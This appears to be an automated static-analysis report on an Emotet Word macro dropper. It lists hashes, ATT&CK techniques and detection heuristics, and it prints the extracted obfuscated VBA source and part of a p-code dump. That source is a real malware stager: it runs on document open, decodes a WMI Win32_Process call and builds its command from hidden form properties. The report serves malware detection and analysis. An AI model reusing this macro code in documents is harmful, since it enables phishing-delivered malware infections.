Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0ad5cd94afa0720d…

MALICIOUS

Office (OLE)

173.3 KB Created: 2020-07-21 00:38:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 2d7c312bef0b0e104235257b65a4a798 SHA-1: 9d6e439db2eb8136445322feb876b64f1a518194 SHA-256: 0ad5cd94afa0720d0b2745a38780cbb3576dab358a2d754a11fcabd861e9feb3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution routine and a hidden UserForm command stager, indicative of a downloader. ClamAV detection explicitly names this as an Emotet variant, which commonly uses this technique to fetch and execute further stages. The macro's obfuscated string concatenation likely forms a URL for payload retrieval.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10043 bytes
SHA-256: f6ea071f1cd7a70b33f5a338670130779eb4ec63d50c94fe67aebb7f124794d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "lealvol"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
quer
End Sub


Attribute VB_Name = "chim"
Attribute VB_Base = "0{C1C11B42-EB15-434A-BD6F-4AA86D817A98}{0EE113B7-D9A2-4106-8092-EE3004F0276C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "yesjiod"
Function quer()
quoavxeofyiotjuach = Chr(chim.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
tiechheochloij = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + quoavxeofyiotjuach + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + chim.soimmoijfabsualchaus + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
hew = louxzuath(tiechheochloij)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set nuaqutoepzoudweum = CreateObject(hew)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
xefchioxkioyxulwaop = chim.gihdebxiom.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
fuwnuupvadreich = hew + quoavxeofyiotjuach + chim.haukchaotkoufjeojnioxteey.ControlTipText + xefchioxkioyxulwaop
Dim jbqvN3A7Cr As Byte
joonzeepxaubciach = fuwnuupvadreich + chim.soimmoijfabsualchaus
Dim yuklqG As Date
Set ziohvafthouvnuudxeuqu = doun(joonzeepxaubciach)
Dim DQk As Object
s = Array(nba, nuaqutoepzoudweum. _
Create(sinwichyeuhcouplom, thouxtioch, ziohvafthouvnuudxeuqu))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function doun(jeotruag)
Set doun = CreateObject(jeotruag)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
doun _
. _
showwindow = (kur + factheeb) + (heuv + laompuucsoif)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function louxzuath(pialloiquseofteun)
thouw = pialloiquseofteun
Dim KmJU As Double
veuxthoivmunneur = Split(thouw, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

jirmiardoath = vVXqw + Join(veuxthoivmunneur, vVXqw)
Dim iVvSORugs As Byte
louxzuath = jirmiardoath
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function sinwichyeuhcouplom()
opo = chim.wanwesreebfeeb.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

sinwichyeuhcouplom = louxzuath(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/563cc5e4fd904d77a3809c76758aeabb.bin
' ===============================================================================
' Module streams:
' Macros/VBA/lealvol - 1346 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub lealvol())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/chim - 1183 bytes
' Macros/VBA/yesjiod - 5749 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld chim 
' 	MemL
... (truncated)